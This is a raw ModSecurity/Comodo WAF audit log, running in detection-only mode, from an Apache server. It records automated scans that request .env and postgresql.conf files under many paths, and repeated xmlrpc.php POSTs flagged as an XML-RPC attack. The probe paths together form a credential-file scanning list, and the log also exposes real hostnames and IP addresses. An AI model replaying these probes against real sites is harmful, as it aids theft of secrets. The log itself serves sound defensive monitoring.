"aE9zhPvF1ly0gx5reNmBcwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037380310551 691136 (- - -) Stopwatch2: 1750037380310551 691136; combined=1837, p1=443, p2=1232, p3=0, p4=0, p5=161, sr=146, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02770910-Z-- --e5e56f24-A-- [16/Jun/2025:06:59:49.817545 +0530] aE9zjZ16HYQp4eDf7R1cugAAAAI 185.177.72.210 39264 127.0.0.1 7081 --e5e56f24-B-- GET /postgresql.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e5e56f24-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=72bbc1ac4643dbae99b9b7fdce6e41ce1750037389; expires=Mon, 16 Jun 2025 02:29:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e5e56f24-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/postgresql.conf"] [unique_id "aE9zjZ16HYQp4eDf7R1cugAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037389147984 669625 (- - -) Stopwatch2: 1750037389147984 669625; combined=2062, p1=275, p2=1690, p3=0, p4=0, p5=96, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e5e56f24-Z-- --fc09c31d-A-- [16/Jun/2025:06:59:50.853969 +0530] aE9zjuMjvy_LHXlMeRASOQAAAAU 185.177.72.210 36684 127.0.0.1 7081 --fc09c31d-B-- GET /Assignment4/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fc09c31d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=14efc26e5898f092fba63190c4ca80971750037390; expires=Mon, 16 Jun 2025 02:29:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fc09c31d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Assignment4/.env"] [unique_id "aE9zjuMjvy_LHXlMeRASOQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037390185249 668795 (- - -) Stopwatch2: 1750037390185249 668795; combined=2229, p1=492, p2=1628, p3=0, p4=0, p5=108, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc09c31d-Z-- --340daa28-A-- [16/Jun/2025:06:59:52.950451 +0530] aE9zkIkQyF8-ounHsxsFeAAAAA8 185.177.72.210 36836 127.0.0.1 7081 --340daa28-B-- GET /:8008/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --340daa28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=da590226e2aa9f92cfbbdc1c24a830281750037392; expires=Mon, 16 Jun 2025 02:29:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --340daa28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/application/.env"] [unique_id "aE9zkIkQyF8-ounHsxsFeAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037392280749 669821 (- - -) Stopwatch2: 1750037392280749 669821; combined=2591, p1=586, p2=1881, p3=0, p4=0, p5=123, sr=148, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --340daa28-Z-- --23f9f772-A-- [16/Jun/2025:07:00:00.013178 +0530] aE9zl4kQyF8-ounHsxsFfAAAAA8 185.177.72.210 42748 127.0.0.1 7081 --23f9f772-B-- GET /:5601/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --23f9f772-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a08075cc393994dd59129a3f66c183121750037399; expires=Mon, 16 Jun 2025 02:29:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --23f9f772-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/temp/.env"] [unique_id "aE9zl4kQyF8-ounHsxsFfAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037399347375 665894 (- - -) Stopwatch2: 1750037399347375 665894; combined=1964, p1=357, p2=1496, p3=0, p4=0, p5=110, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --23f9f772-Z-- --249d8074-A-- [16/Jun/2025:07:00:02.811720 +0530] aE9zmvv_9qNKLXJRkuZeDgAAAAs 185.177.72.210 42852 127.0.0.1 7081 --249d8074-B-- GET /:8080/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --249d8074-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9c5c8e117591cdace8f50452485fdfae1750037402; expires=Mon, 16 Jun 2025 02:30:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --249d8074-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/application/.env"] [unique_id "aE9zmvv_9qNKLXJRkuZeDgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037402076060 735742 (- - -) Stopwatch2: 1750037402076060 735742; combined=2061, p1=445, p2=1498, p3=0, p4=0, p5=117, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --249d8074-Z-- --b5d90c79-A-- [16/Jun/2025:07:00:28.167522 +0530] aE9zs-Mjvy_LHXlMeRASSQAAAAU 128.199.112.101 43640 127.0.0.1 7081 --b5d90c79-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b5d90c79-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b5d90c79-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9zs-Mjvy_LHXlMeRASSQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037427192202 975377 (- - -) Stopwatch2: 1750037427192202 975377; combined=2754, p1=536, p2=1835, p3=49, p4=62, p5=167, sr=150, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b5d90c79-Z-- --dc738307-A-- [16/Jun/2025:07:01:01.027275 +0530] aE9z1PvF1ly0gx5reNmBlgAAAAE 185.177.72.210 56776 127.0.0.1 7081 --dc738307-B-- GET /:5601/administrateur/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dc738307-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=48d6f65efef4227b69b5a9a3a08b164c1750037460; expires=Mon, 16 Jun 2025 02:31:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dc738307-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/administrateur/.env"] [unique_id "aE9z1PvF1ly0gx5reNmBlgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037460312101 715238 (- - -) Stopwatch2: 1750037460312101 715238; combined=1617, p1=339, p2=1177, p3=0, p4=0, p5=101, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dc738307-Z-- --bb1a300b-A-- [16/Jun/2025:07:01:14.917702 +0530] aE9z4okQyF8-ounHsxsFngAAAA8 185.177.72.210 42654 127.0.0.1 7081 --bb1a300b-B-- GET /:8008/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bb1a300b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=13a38284ddd74edd4ba0f73f0d28043f1750037474; expires=Mon, 16 Jun 2025 02:31:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bb1a300b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/sicherung/.env"] [unique_id "aE9z4okQyF8-ounHsxsFngAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037474224516 693260 (- - -) Stopwatch2: 1750037474224516 693260; combined=1840, p1=358, p2=1395, p3=0, p4=0, p5=86, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bb1a300b-Z-- --60bd1d54-A-- [16/Jun/2025:07:01:18.897363 +0530] aE9z5okQyF8-ounHsxsFoQAAAA8 185.177.72.210 42928 127.0.0.1 7081 --60bd1d54-B-- GET /:8008/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --60bd1d54-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6783c6393e682ad309769285d194bbca1750037478; expires=Mon, 16 Jun 2025 02:31:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --60bd1d54-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/app/configura/.env"] [unique_id "aE9z5okQyF8-ounHsxsFoQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037478236912 660515 (- - -) Stopwatch2: 1750037478236912 660515; combined=1871, p1=421, p2=1349, p3=0, p4=0, p5=100, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60bd1d54-Z-- --b30f8f66-A-- [16/Jun/2025:07:01:28.558842 +0530] aE9z7-Mjvy_LHXlMeRASZgAAAAU 128.199.112.101 52966 127.0.0.1 7081 --b30f8f66-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b30f8f66-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b30f8f66-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9z7-Mjvy_LHXlMeRASZgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037487617674 941221 (- - -) Stopwatch2: 1750037487617674 941221; combined=1891, p1=296, p2=1231, p3=42, p4=56, p5=170, sr=81, sw=96, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b30f8f66-Z-- --78807a0f-A-- [16/Jun/2025:07:01:36.372710 +0530] aE9z9_v_9qNKLXJRkuZeNwAAAAs 185.177.72.210 60168 127.0.0.1 7081 --78807a0f-B-- GET /:10000/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --78807a0f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c0239cd6ad8b26c89eddcb39aa77e8461750037496; expires=Mon, 16 Jun 2025 02:31:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --78807a0f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/library/.env"] [unique_id "aE9z9_v_9qNKLXJRkuZeNwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037495698151 674622 (- - -) Stopwatch2: 1750037495698151 674622; combined=1599, p1=314, p2=1192, p3=0, p4=0, p5=93, sr=74, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --78807a0f-Z-- --fdfc9750-A-- [16/Jun/2025:07:01:37.370067 +0530] aE9z-DZ3uHeEW3BYvDO6EwAAAAA 185.177.72.210 60218 127.0.0.1 7081 --fdfc9750-B-- GET /:10000/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fdfc9750-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=03b5664f45f45b9c2b47ec22331e12ad1750037497; expires=Mon, 16 Jun 2025 02:31:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fdfc9750-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.save"] [unique_id "aE9z-DZ3uHeEW3BYvDO6EwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037496715424 654706 (- - -) Stopwatch2: 1750037496715424 654706; combined=1903, p1=399, p2=1407, p3=0, p4=0, p5=96, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fdfc9750-Z-- --4c52584f-A-- [16/Jun/2025:07:01:44.036187 +0530] aE9z__v_9qNKLXJRkuZeOgAAAAs 185.177.72.210 48374 127.0.0.1 7081 --4c52584f-B-- GET /private/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c52584f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6c53e91836bd58921cb7d95a89fcb7af1750037503; expires=Mon, 16 Jun 2025 02:31:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c52584f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/private/.env"] [unique_id "aE9z__v_9qNKLXJRkuZeOgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037503347322 688939 (- - -) Stopwatch2: 1750037503347322 688939; combined=1752, p1=402, p2=1253, p3=0, p4=0, p5=96, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c52584f-Z-- --08b50a0d-A-- [16/Jun/2025:07:01:45.103134 +0530] aE90ADZ3uHeEW3BYvDO6FgAAAAA 185.177.72.210 48424 127.0.0.1 7081 --08b50a0d-B-- GET /community/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08b50a0d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: 